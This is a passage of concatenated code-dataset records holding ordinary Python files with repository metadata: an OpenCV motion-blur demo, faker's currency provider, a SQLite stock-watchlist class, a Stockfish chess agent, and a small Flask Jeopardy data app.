"mapquest_parse-json_4.py", "file_ext": "py", "file_size_in_byte": 1387, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "urllib.parse.parse.urlencode", "line_number": 16, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 16, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 16, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 19, "usage_type": "call"}]} +{"seq_id": "392417200", "text": "import cv2\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\nimg = cv2.imread('/Users/rajeshr/Desktop/7.jpeg')\n#cv2.imshow('Input Image', img)\n#cv2.waitKey(0)\n#cv2.destroyAllWindows()\n\nsize = 15\nmotion_blur = np.zeros((size, size))\nmotion_blur[int((size-1)/2), :] = np.ones(size)\nmotion_blur = motion_blur / size\n\n# applying the kernel to the input image\noutput = cv2.filter2D(img, -1, motion_blur)\n#cv2.imshow('Motion Blur', output)\n#cv2.waitKey(0)\n#cv2.destroyAllWindows()\n\nplt.subplot(121),plt.imshow(img),plt.title('Original')\nplt.xticks([]), plt.yticks([])\nplt.subplot(122),plt.imshow(output),plt.title('Motion Blurred')\nplt.xticks([]), plt.yticks([])\nplt.show()", "repo_name": "its-rajesh/Digital-Image-Processing", "sub_path": "Motion Blur/motionblur.py", "file_name": "motionblur.py", "file_ext": "py", "file_size_in_byte": 674, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "cv2.imread", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.filter2D", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}]} +{"seq_id": "17693085045", "text": "from typing import Dict, Optional, Tuple\n\nfrom .. import BaseProvider, ElementsType\n\nlocalized = True\n\n\nclass Provider(BaseProvider):\n # Format: (code, name)\n currencies: ElementsType[Tuple[str, str]] = (\n (\"AED\", \"United Arab Emirates dirham\"),\n (\"AFN\", \"Afghan afghani\"),\n (\"ALL\", \"Albanian lek\"),\n (\"AMD\", \"Armenian dram\"),\n (\"ANG\", \"Netherlands Antillean guilder\"),\n (\"AOA\", \"Angolan kwanza\"),\n (\"ARS\", \"Argentine peso\"),\n (\"AUD\", \"Australian dollar\"),\n (\"AWG\", \"Aruban florin\"),\n (\"AZN\", \"Azerbaijani manat\"),\n (\"BAM\", \"Bosnia and Herzegovina convertible mark\"),\n (\"BBD\", \"Barbadian dollar\"),\n (\"BDT\", \"Bangladeshi taka\"),\n (\"BGN\", \"Bulgarian lev\"),\n (\"BHD\", \"Bahraini dinar\"),\n (\"BIF\", \"Burundian franc\"),\n (\"BMD\", \"Bermudian dollar\"),\n (\"BND\", \"Brunei dollar\"),\n (\"BOB\", \"Bolivian boliviano\"),\n (\"BRL\", \"Brazilian real\"),\n (\"BSD\", \"Bahamian dollar\"),\n (\"BTN\", \"Bhutanese ngultrum\"),\n (\"BWP\", \"Botswana pula\"),\n (\"BYR\", \"Belarusian ruble\"),\n (\"BZD\", \"Belize dollar\"),\n (\"CAD\", \"Canadian dollar\"),\n (\"CDF\", \"Congolese franc\"),\n (\"CHF\", \"Swiss franc\"),\n (\"CLP\", \"Chilean peso\"),\n (\"CNY\", \"Renminbi\"),\n (\"COP\", \"Colombian peso\"),\n (\"CRC\", \"Costa Rican colón\"),\n (\"CUC\", \"Cuban convertible peso\"),\n (\"CUP\", \"Cuban peso\"),\n (\"CVE\", \"Cape Verdean escudo\"),\n (\"CZK\", \"Czech koruna\"),\n (\"DJF\", \"Djiboutian franc\"),\n (\"DKK\", \"Danish krone\"),\n (\"DOP\", \"Dominican peso\"),\n (\"DZD\", \"Algerian dinar\"),\n (\"EGP\", \"Egyptian pound\"),\n (\"ERN\", \"Eritrean nakfa\"),\n (\"ETB\", \"Ethiopian birr\"),\n (\"EUR\", \"Euro\"),\n (\"FJD\", \"Fijian dollar\"),\n (\"FKP\", \"Falkland Islands pound\"),\n (\"GBP\", \"Pound sterling\"),\n (\"GEL\", \"Georgian lari\"),\n (\"GGP\", \"Guernsey pound\"),\n (\"GHS\", \"Ghanaian cedi\"),\n (\"GIP\", \"Gibraltar pound\"),\n (\"GMD\", \"Gambian dalasi\"),\n (\"GNF\", \"Guinean franc\"),\n (\"GTQ\", \"Guatemalan quetzal\"),\n (\"GYD\", \"Guyanese dollar\"),\n (\"HKD\", \"Hong Kong dollar\"),\n (\"HNL\", \"Honduran lempira\"),\n (\"HRK\", \"Croatian kuna\"),\n (\"HTG\", \"Haitian gourde\"),\n (\"HUF\", \"Hungarian forint\"),\n (\"IDR\", \"Indonesian rupiah\"),\n (\"ILS\", \"Israeli new shekel\"),\n (\"NIS\", \"Israeli new shekel\"),\n (\"IMP\", \"Manx pound\"),\n (\"INR\", \"Indian rupee\"),\n (\"IQD\", \"Iraqi dinar\"),\n (\"IRR\", \"Iranian rial\"),\n (\"ISK\", \"Icelandic króna\"),\n (\"JEP\", \"Jersey pound\"),\n (\"JMD\", \"Jamaican dollar\"),\n (\"JOD\", \"Jordanian dinar\"),\n (\"JPY\", \"Japanese yen\"),\n (\"KES\", \"Kenyan shilling\"),\n (\"KGS\", \"Kyrgyzstani som\"),\n (\"KHR\", \"Cambodian riel\"),\n (\"KMF\", \"Comorian franc\"),\n (\"KPW\", \"North Korean won\"),\n (\"KRW\", \"South Korean won\"),\n (\"KWD\", \"Kuwaiti dinar\"),\n (\"KYD\", \"Cayman Islands dollar\"),\n (\"KZT\", \"Kazakhstani tenge\"),\n (\"LAK\", \"Lao kip\"),\n (\"LBP\", \"Lebanese pound\"),\n (\"LKR\", \"Sri Lankan rupee\"),\n (\"LRD\", \"Liberian dollar\"),\n (\"LSL\", \"Lesotho loti\"),\n (\"LTL\", \"Lithuanian litas\"),\n (\"LYD\", \"Libyan dinar\"),\n (\"MAD\", \"Moroccan dirham\"),\n (\"MDL\", \"Moldovan leu\"),\n (\"MGA\", \"Malagasy ariar\"),\n (\"MKD\", \"Macedonian denar\"),\n (\"MMK\", \"Burmese kyat\"),\n (\"MNT\", \"Mongolian tugrik\"),\n (\"MOP\", \"Macanese pataca\"),\n (\"MRO\", \"Mauritanian ouguiya\"),\n (\"MUR\", \"Mauritian rupee\"),\n (\"MVR\", \"Maldivian rufiyaa\"),\n (\"MWK\", \"Malawian kwacha\"),\n (\"MXN\", \"Mexican peso\"),\n (\"MYR\", \"Malaysian ringgit\"),\n (\"MZN\", \"Mozambican metical\"),\n (\"NAD\", \"Namibian dollar\"),\n (\"NGN\", \"Nigerian naira\"),\n (\"NIO\", \"Nicaraguan córdoba\"),\n (\"NOK\", \"Norwegian krone\"),\n (\"NPR\", \"Nepalese rupee\"),\n (\"NZD\", \"New Zealand dollar\"),\n (\"OMR\", \"Omani rial\"),\n (\"PAB\", \"Panamanian balboa\"),\n (\"PEN\", \"Peruvian sol\"),\n (\"PGK\", \"Papua New Guinean kina\"),\n (\"PHP\", \"Philippine peso\"),\n (\"PKR\", \"Pakistani rupee\"),\n (\"PLN\", \"Polish zloty\"),\n (\"PYG\", \"Paraguayan guarani\"),\n (\"QAR\", \"Qatari riyal\"),\n (\"RON\", \"Romanian leu\"),\n (\"RSD\", \"Serbian dinar\"),\n (\"RUB\", \"Russian ruble\"),\n (\"RWF\", \"Rwandan franc\"),\n (\"SAR\", \"Saudi riyal\"),\n (\"SBD\", \"Solomon Islands dollar\"),\n (\"SCR\", \"Seychellois rupee\"),\n (\"SDG\", \"Sudanese pound\"),\n (\"SEK\", \"Swedish krona\"),\n (\"SGD\", \"Singapore dollar\"),\n (\"SHP\", \"Saint Helena pound\"),\n (\"SLL\", \"Sierra Leonean leone\"),\n (\"SOS\", \"Somali shilling\"),\n (\"SPL\", \"Seborga luigino\"),\n (\"SRD\", \"Surinamese dollar\"),\n (\"STD\", \"São Tomé and Príncipe dobra\"),\n (\"SVC\", \"Salvadoran colón\"),\n (\"SYP\", \"Syrian pound\"),\n (\"SZL\", \"Swazi lilangeni\"),\n (\"THB\", \"Thai baht\"),\n (\"TJS\", \"Tajikistani somoni\"),\n (\"TMT\", \"Turkmenistan manat\"),\n (\"TND\", \"Tunisian dinar\"),\n (\"TOP\", \"Tongan paʻanga\"),\n (\"TRY\", \"Turkish lira\"),\n (\"TTD\", \"Trinidad and Tobago dollar\"),\n (\"TVD\", \"Tuvaluan dollar\"),\n (\"TWD\", \"New Taiwan dollar\"),\n (\"TZS\", \"Tanzanian shilling\"),\n (\"UAH\", \"Ukrainian hryvnia\"),\n (\"UGX\", \"Ugandan shilling\"),\n (\"USD\", \"United States dollar\"),\n (\"UYU\", \"Uruguayan peso\"),\n (\"UZS\", \"Uzbekistani soʻm\"),\n (\"VEF\", \"Venezuelan bolívar\"),\n (\"VND\", \"Vietnamese đồng\"),\n (\"VUV\", \"Vanuatu vatu\"),\n (\"WST\", \"Samoan tālā\"),\n (\"XAF\", \"Central African CFA franc\"),\n (\"XCD\", \"Eastern Caribbean dollar\"),\n (\"XDR\", \"Special drawing rights\"),\n (\"XOF\", \"West African CFA franc\"),\n (\"XPF\", \"CFP franc\"),\n (\"YER\", \"Yemeni rial\"),\n (\"ZAR\", \"South African rand\"),\n (\"ZMW\", \"Zambian kwacha\"),\n (\"ZWD\", \"Zimbabwean dollar\"),\n )\n\n # Source: https://en.wikipedia.org/wiki/List_of_cryptocurrencies\n cryptocurrencies: ElementsType[Tuple[str, str]] = (\n (\"AMP\", \"AMP\"),\n (\"AUR\", \"Auroracoin\"),\n (\"BC\", \"BlackCoin\"),\n (\"BTC\", \"Bitcoin\"),\n (\"BURST\", \"Burstcoin\"),\n (\"DASH\", \"Dash\"),\n (\"DOGE\", \"Dogecoin\"),\n (\"EMC\", \"Emercoin\"),\n (\"ETH\", \"Ethereum\"),\n (\"ETC\", \"Ethereum Classic\"),\n (\"GRC\", \"Gridcoin\"),\n (\"KOI\", \"Coinye\"),\n (\"LTC\", \"Litecoin\"),\n (\"MSC\", \"Omni\"),\n (\"MZC\", \"MazaCoin\"),\n (\"NMC\", \"Namecoin\"),\n (\"NXT\", \"Nxt\"),\n (\"POT\", \"PotCoin\"),\n (\"PPC\", \"Peercoin\"),\n (\"TIT\", \"Titcoin\"),\n (\"VTC\", \"Vertcoin\"),\n (\"XDN\", \"DigitalNote\"),\n (\"XMR\", \"Monero\"),\n (\"XPM\", \"Primecoin\"),\n (\"XRP\", \"Ripple\"),\n (\"ZEC\", \"Zcash\"),\n (\"STC\", \"SwiftCoin\"),\n (\"BCN\", \"Bytecoin\"),\n (\"FTH\", \"Feathercoin\"),\n (\"NEO\", \"NEO\"),\n (\"NEM\", \"XEM\"),\n (\"USDT\", \"Tether\"),\n (\"IOTA\", \"IOTA\"),\n (\"DRC\", \"Decred\"),\n (\"WAVES\", \"Waves Platform\"),\n (\"LSK\", \"Lisk\"),\n (\"ZCL\", \"Zclassic\"),\n (\"BCH\", \"Bitcoin Cash\"),\n (\"UBQ\", \"Ubiq\"),\n (\"EOS\", \"EOS.IO\"),\n (\"SRN\", \"Sirin Labs\"),\n (\"TRX\", \"TRON\"),\n (\"ADA\", \"Cardano\"),\n )\n\n # List of currency symbols\n # source: https://en.wikipedia.org/wiki/Currency_symbol\n currency_symbols: Dict[str, str] = {\n \"AED\": \"\\u002e\\u062f\\u002e\\u0625\",\n \"AFN\": \"\\u060B\",\n \"ALL\": \"Lek\",\n \"AMD\": \"\\u058F\",\n \"ANG\": \"\\u0192\",\n \"AOA\": \"Kz\",\n \"ARS\": \"\\u0024\",\n \"AUD\": \"\\u0024\",\n \"AWG\": \"\\u0192\",\n \"AZN\": \"\\u20bc\",\n \"BAM\": \"KM\",\n \"BBD\": \"\\u0024\",\n \"BDT\": \"\\u09F3\",\n \"BGN\": \"Lev\",\n \"BHD\": \"\\u062F\\u0628\",\n \"BIF\": \"Fr\",\n \"BMD\": \"\\u0024\",\n \"BND\": \"\\u0024\",\n \"BOB\": \"\\u0024\",\n \"BRL\": \"\\u0024\",\n \"BSD\": \"\\u0024\",\n \"BTN\": \"Nu\",\n \"BWP\": \"P\",\n \"BYR\": \"R\",\n \"BZD\": \"\\u0024\",\n \"CAD\": \"\\u0024\",\n \"CDF\": \"Fr\",\n \"CHF\": \"Fr\",\n \"CLP\": \"\\u0024\",\n \"CNY\": \"\\u00A5\",\n \"COP\": \"\\u0024\",\n \"CRC\": \"\\u20A1\",\n \"CUC\": \"\\u0024\",\n \"CUP\": \"\\u0024\",\n \"CVE\": \"\\u0024\",\n \"CZK\": \"\\u004b\\u010d\\u0073\",\n \"DJF\": \"Fr\",\n \"DKK\": \"kr\",\n \"DOP\": \"\\u0024\",\n \"DZD\": \"\\u062f\\u062c\\u200e\",\n \"EGP\": \"\\u00A3\",\n \"ERN\": \"Nfk\",\n \"ETB\": \"Br\",\n \"EUR\": \"\\u20AC\",\n \"FJD\": \"\\u0024\",\n \"FKP\": \"\\u00A3\",\n \"GBP\": \"\\u00A3\",\n \"GEL\": \"\\u20BE\",\n \"GGP\": \"\\u00A3\",\n \"GHS\": \"\\u20B5\",\n \"GIP\": \"\\u00A3\",\n \"GMD\": \"D\",\n \"GNF\": \"FG\",\n \"GTQ\": \"Q\",\n \"GYD\": \"\\u0024\",\n \"HKD\": \"\\u0024\",\n \"HNL\": \"L\",\n \"HRK\": \"kn\",\n \"HTG\": \"G\",\n \"HUF\": \"Ft\",\n \"IDR\": \"Rp\",\n \"ILS\": \"\\u20AA\",\n \"IMP\": \"\\u00A3\",\n \"INR\": \"\\u20B9\",\n \"IQD\": \"\\u062F\\u0639\",\n \"IRR\": \"\\uFDFC\",\n \"ISK\": \"kr\",\n \"JEP\": \"\\u00A3\",\n \"JMD\": \"\\u0024\",\n \"JOD\": \"JD\",\n \"JPY\": \"\\u00A5\",\n \"KES\": \"KSh\",\n \"KGS\": \"\\u20C0\",\n \"KHR\": \"\\u17DB\",\n \"KMF\": \"FC\",\n \"KPW\": \"\\u20A9\",\n \"KRW\": \"\\u20A9\",\n \"KWD\": \"KD\",\n \"KYD\": \"\\u0024\",\n \"KZT\": \"\\u20B8\",\n \"LAK\": \"\\u20AD\",\n \"LBP\": \"\\u00A3\",\n \"LKR\": \"\\u20A8\",\n \"LRD\": \"\\u0024\",\n \"LSL\": \"M\",\n \"LTL\": \"L\",\n \"LYD\": \"LD\",\n \"MAD\": \"Dhs\",\n \"MDL\": \"leu\",\n \"MGA\": \"Ar\",\n \"MKD\": \"DEN\",\n \"MMK\": \"Ks\",\n \"MNT\": \"\\u20AE\",\n \"MOP\": \"\\u0024\",\n \"MRO\": \"UM\",\n \"MUR\": \"\\u20A8\",\n \"MVR\": \"\\u0078\",\n \"MWK\": \"K\",\n \"MXN\": \"\\u0024\",\n \"MYR\": \"RM\",\n \"MZN\": \"Mt\",\n \"NAD\": \"\\u0024\",\n \"NGN\": \"\\u20A6\",\n \"NIO\": \"\\u0024\",\n \"NIS\": \"\\u20AA\",\n \"NOK\": \"kr\",\n \"NPR\": \"\\u20A8\",\n \"NZD\": \"\\u0024\",\n \"OMR\": \"\\uFDFC\",\n \"PAB\": \"B/\",\n \"PEN\": \"S/\",\n \"PGK\": \"K\",\n \"PHP\": \"\\u20B1\",\n \"PKR\": \"\\u20A8\",\n \"PLN\": \"\\u007a\\u0142\",\n \"PYG\": \"\\u20B2\",\n \"QAR\": \"\\uFDFC\",\n \"RON\": \"leu\",\n \"RSD\": \"\\u0434\\u0438\\u043d\",\n \"RUB\": \"\\u20BD\",\n \"RWF\": \"F\",\n \"SAR\": \"\\uFDFC\",\n \"SBD\": \"\\u0024\",\n \"SCR\": \"\\u20A8\",\n \"SDG\": \"\\u00A3\",\n \"SEK\": \"kr\",\n \"SGD\": \"\\u0024\",\n \"SHP\": \"\\u00A3\",\n \"SLL\": \"Le\",\n \"SOS\": \"Sh.So.\",\n \"SPL\": \"L\",\n \"SRD\": \"\\u0024\",\n \"STD\": \"Db\",\n \"SVC\": \"\\u20A1\",\n \"SYP\": \"\\u00A3\",\n \"SZL\": \"E\",\n \"THB\": \"\\u0E3F\",\n \"TJS\": \"SM\",\n \"TMT\": \"m\",\n \"TND\": \"DT\",\n \"TOP\": \"\\u00a2\",\n \"TRY\": \"\\u20BA\",\n \"TTD\": \"\\u0024\",\n \"TVD\": \"\\u0024\",\n \"TWD\": \"\\u0024\",\n \"TWD\": \"\\u0024\",\n \"TZS\": \"Tsh\",\n \"UAH\": \"\\u20B4\",\n \"UGX\": \"USh\",\n \"USD\": \"\\u0024\",\n \"UYU\": \"\\u0024\",\n \"UZS\": \"\\u043b\\u0432\",\n \"VEF\": \"\\u0042\\u0073\",\n \"VND\": \"\\u20AB\",\n \"VUV\": \"VT\",\n \"WST\": \"\\u0024\",\n \"XAF\": \"Fr\",\n \"XCD\": \"\\u0024\",\n \"XDR\": \"SDR\",\n \"XOF\": \"Fr\",\n \"XPF\": \"Fr\",\n \"YER\": \"\\uFDFC\",\n \"ZAR\": \"R\",\n \"ZMW\": \"K\",\n \"ZWD\": \"\\u0024\",\n }\n\n price_formats: ElementsType[str] = [\"#.##\", \"%#.##\", \"%##.##\", \"%,###.##\", \"%#,###.##\"]\n\n def currency(self) -> Tuple[str, str]:\n return self.random_element(self.currencies)\n\n def currency_code(self) -> str:\n return self.currency()[0]\n\n def currency_name(self) -> str:\n return self.currency()[1]\n\n def currency_symbol(self, code: Optional[str] = None) -> str:\n \"\"\"\n :example: $\n \"\"\"\n if code is None:\n code = self.random_element(self.currency_symbols.keys())\n elif code not in [currency[0] for currency in self.currencies]:\n raise KeyError(\"The supplied code is not valid\")\n return self.currency_symbols.get(code, \"\\u00A4\")\n\n def cryptocurrency(self) -> Tuple[str, str]:\n return self.random_element(self.cryptocurrencies)\n\n def cryptocurrency_code(self) -> str:\n return self.cryptocurrency()[0]\n\n def cryptocurrency_name(self) -> str:\n return self.cryptocurrency()[1]\n\n def pricetag(self) -> str:\n currency: Tuple[str, str] = self.random_element(self.currencies)\n return currency[0] + \"\\N{no-break space}\" + self.numerify(self.random_element(self.price_formats))\n", "repo_name": "joke2k/faker", "sub_path": "faker/providers/currency/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 12854, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16539, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.Tuple", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 178, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 226, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 396, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 405, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 415, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 425, "usage_type": "name"}]} +{"seq_id": "38149711999", "text": "import sqlite3\nimport time\n\n\nclass StockDB():\n \"\"\" All operations to do with adding, removing and getting stocks from the watchlist\"\"\"\n def __init__(self):\n self.conn = sqlite3.connect(\"stocks.db\", check_same_thread=False)\n self.cur = self.conn.cursor()\n self.conn.execute(\n \"\"\"CREATE TABLE IF NOT EXISTS stocklist (stock_id TEXT, stock_trigger REAL , trigger_type TEXT)\"\"\"\n )\n\n def addStock(self, stock_id: str, stock_trigger: float, trigger_type: str):\n \"\"\" Adds a stock to the database. trigger_type can be 'buy' or 'sell' \"\"\"\n trigger_type = 'sell' if trigger_type.lower() == 'sell' else 'buy'\n self.conn.execute(\n \"\"\"INSERT INTO stocklist (stock_id, stock_trigger, trigger_type) values (?,?,?) \"\"\",\n (stock_id, stock_trigger, trigger_type))\n self.conn.commit()\n\n def removeStock(self, stock_id: str, trigger_type: str):\n \"\"\" Removes a stock from the database.\"\"\"\n self.conn.execute(\n \"\"\"DELETE FROM stocklist WHERE stock_id=? AND trigger_type=?\"\"\",\n (stock_id, trigger_type))\n self.conn.commit()\n\n def changeStock(self, stock_id: str, new_trigger: int, trigger_type: str):\n \"\"\" Changes the trigger value and type of a stock from the database\"\"\"\n self.conn.execute(\n \"\"\"UPDATE stocklist SET stock_trigger=? WHERE stock_id=? AND trigger_type=? \"\"\",\n (new_trigger, stock_id, trigger_type))\n self.conn.commit()\n\n def stockList(self) -> list:\n \"\"\" Lists all stocks in the database \"\"\"\n stocks = self.conn.execute(\"\"\"SELECT * FROM stocklist\"\"\").fetchall()\n return sorted(stocks)\n\n\nclass MsgRecordDB():\n \"\"\" Managing records of previous alert sent by run_check \"\"\"\n def __init__(self):\n self.conn = sqlite3.connect(\"stocks.db\", check_same_thread=False)\n self.cur = self.conn.cursor()\n self.conn.execute(\n \"\"\"CREATE TABLE IF NOT EXISTS lastmessages (stock_id TEXT, trigger_type TEXT, trigger_time TEXT)\"\"\"\n )\n\n def addMsgRecord(self, stock_id: str, trigger_type: str):\n \"\"\" Adding the record of a sent alert \"\"\"\n current_time = time.strftime(\"%b %d %Y, %H:%M\")\n self.conn.execute(\n \"\"\"INSERT INTO lastmessages (stock_id, trigger_type, trigger_time) values (?,?,?)\"\"\",\n (stock_id, trigger_type, current_time))\n self.conn.commit()\n\n def removeMsgRecord(self, stock_id: str, trigger_type: str):\n \"\"\" Removing a record of a sent alert \"\"\"\n self.conn.execute(\n \"\"\"DELETE FROM lastmessages WHERE stock_id=? AND trigger_type=?\"\"\",\n (stock_id, trigger_type))\n self.conn.commit()\n\n def getMsgRecord(self, stock_id: str, trigger_type: str) -> tuple:\n \"\"\" Getting a single alert record for a stock id \"\"\"\n record = self.conn.execute(\n \"\"\"SELECT * FROM lastmessages WHERE stock_id=? AND trigger_type=?\"\"\",\n (stock_id, trigger_type)).fetchone()\n return record\n\n def getMsgRecords(self) -> list:\n \"\"\" Getting previous alert records \"\"\"\n records = self.conn.execute(\n \"\"\"SELECT * FROM lastmessages\"\"\").fetchall()\n return records\n\n\nclass PredictionRecordDB():\n \"\"\" Managing records of previous prediction alerts sent by prediction_check \"\"\"\n def __init__(self):\n self.conn = sqlite3.connect(\"stocks.db\", check_same_thread=False)\n self.cur = self.conn.cursor()\n self.conn.execute(\n \"\"\"CREATE TABLE IF NOT EXISTS predictions (company_name TEXT, stock_id TEXT, firm TEXT, ratings_change TEXT, price_target TEXT)\"\"\"\n )\n\n def addPredictionRecord(self, company_name: str, stock_id: str, firm: str,\n ratings_change: str, price_target: str):\n \"\"\" Adding the record of a sent alert \"\"\"\n self.conn.execute(\n \"\"\"INSERT INTO predictions (company_name, stock_id, firm, ratings_change, price_target) values (?,?,?,?,?)\"\"\",\n (company_name, stock_id, firm, ratings_change, price_target))\n self.conn.commit()\n\n def removePredictionRecord(self, company_name: str, stock_id: str,\n firm: str, ratings_change: str,\n price_target: str):\n \"\"\" Removing a record of a sent alert \"\"\"\n self.conn.execute(\n \"\"\"DELETE FROM predictions WHERE company_name=? AND stock_id=? AND firm=? AND ratings_change=? AND price_target=?\"\"\",\n (company_name, stock_id, firm, ratings_change, price_target))\n self.conn.commit()\n\n def getPredictionRecord(self, company_name: str, stock_id: str, firm: str,\n ratings_change: str, price_target: str) -> tuple:\n \"\"\" Getting a single alert record \"\"\"\n record = self.conn.execute(\n \"\"\"SELECT * FROM predictions WHERE company_name=? AND stock_id=? AND firm=? AND ratings_change=? AND price_target=?\"\"\",\n (company_name, stock_id, firm, ratings_change,\n price_target)).fetchone()\n return record\n\n def getPredictionRecords(self) -> list:\n \"\"\" Getting previous alert records \"\"\"\n records = self.conn.execute(\"\"\"SELECT * FROM predictions\"\"\").fetchall()\n return records\n", "repo_name": "Sachin-dot-py/StockBot", "sub_path": "stockdb.py", "file_name": "stockdb.py", "file_ext": "py", "file_size_in_byte": 5311, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sqlite3.connect", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 45, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 53, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 83, "usage_type": "call"}]} +{"seq_id": "393955880", "text": "import chess\nimport chess.engine\nimport logging\nfrom src.envs.game import Game\nfrom src.agents.agent import Agent\n\n# Remove annoying warnings of the engine.\nchess.engine.LOGGER.setLevel(logging.ERROR)\n\n\nclass StockfishAgent(Agent):\n \"\"\" AI using Stockfish to play a game of chess.\n Params:\n color: bool, Color of the player.\n binary_path: str, Path to the Stockfish binary.\n thinking_time: float, Time in seconds to think about the next move.\n search_depth: int, Depth of the search tree.\n \"\"\"\n\n def __init__(self, color: bool, binary_path: str, thinking_time=0.01, search_depth=5):\n super().__init__(color)\n self.engine = chess.engine.SimpleEngine.popen_uci(binary_path)\n\n self.thinking_time = thinking_time\n self.search_depth = search_depth\n\n def best_move(self, game: Game):\n \"\"\" Returns the best move for the current game state.\n Params:\n game: Game, Game to play.\n Returns:\n str, Best move in UCI notation.\n \"\"\"\n\n # Page 77 of http://web.ist.utl.pt/diogo.ferreira/papers/ferreira13impact.pdf\n # gives some study about the relation of search depth vs ELO.\n result = self.engine.play(game.board, chess.engine.Limit(depth=5))\n if result.move is None:\n return Game.NULL_MOVE\n\n return result.move.uci()\n\n def kill(self):\n self.engine.quit()\n", "repo_name": "NassarX/chess_rl_engine", "sub_path": "src/agents/stockfish_agent.py", "file_name": "stockfish_agent.py", "file_ext": "py", "file_size_in_byte": 1418, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "chess.engine.LOGGER.setLevel", "line_number": 8, "usage_type": "call"}, {"api_name": "chess.engine", "line_number": 8, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 8, "usage_type": "attribute"}, {"api_name": "src.agents.agent.Agent", "line_number": 11, "usage_type": "name"}, {"api_name": "chess.engine.SimpleEngine.popen_uci", "line_number": 22, "usage_type": "call"}, {"api_name": "chess.engine", "line_number": 22, "usage_type": "attribute"}, {"api_name": "src.envs.game.Game", "line_number": 27, "usage_type": "name"}, {"api_name": "chess.engine.Limit", "line_number": 37, "usage_type": "call"}, {"api_name": "chess.engine", "line_number": 37, "usage_type": "attribute"}, {"api_name": "src.envs.game.Game.NULL_MOVE", "line_number": 39, "usage_type": "attribute"}, {"api_name": "src.envs.game.Game", "line_number": 39, "usage_type": "name"}]} +{"seq_id": "6256932124", "text": "from flask import Flask, render_template, jsonify, request\nfrom get_seasons import get_all_seasons, get_season, get_season_range\nimport os, re\n\napp = Flask(__name__, template_folder='')\n\n@app.route(\"/\")\ndef index():\n\treturn render_template(\"index.html\")\n\n@app.route(\"/season\")\ndef season_data():\n\tseasonNo = request.args.get('no')\n\treturn jsonify(get_season(seasonNo))\n\n@app.route(\"/seasons\")\ndef season_range():\n\ts, e = request.args.get('s'), request.args.get('e')\n\treturn jsonify(get_season_range(s,e))\n\n@app.route(\"/all-seasons\")\ndef all_season_data():\n\treturn jsonify(get_all_seasons())\n\nif __name__ == \"__main__\":\n\tapp.run(host='0.0.0.0', port=5000, debug=True)", "repo_name": "jbovee/jeopardy-d3js", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 666, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 13, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 14, "usage_type": "call"}, {"api_name": "get_seasons.get_season", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 19, "usage_type": "call"}, {"api_name": "get_seasons.get_season_range", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 23, "usage_type": "call"}, {"api_name": "get_seasons.get_all_seasons", "line_number": 23, "usage_type": "call"}]} +{"seq_id": "10245239012", "text": "\"\"\"Utils to initialize and drop the database.\"\"\"\n\nimport logging\n\nimport rethinkdb as r\n\nimport bigchaindb\nfrom bigchaindb import 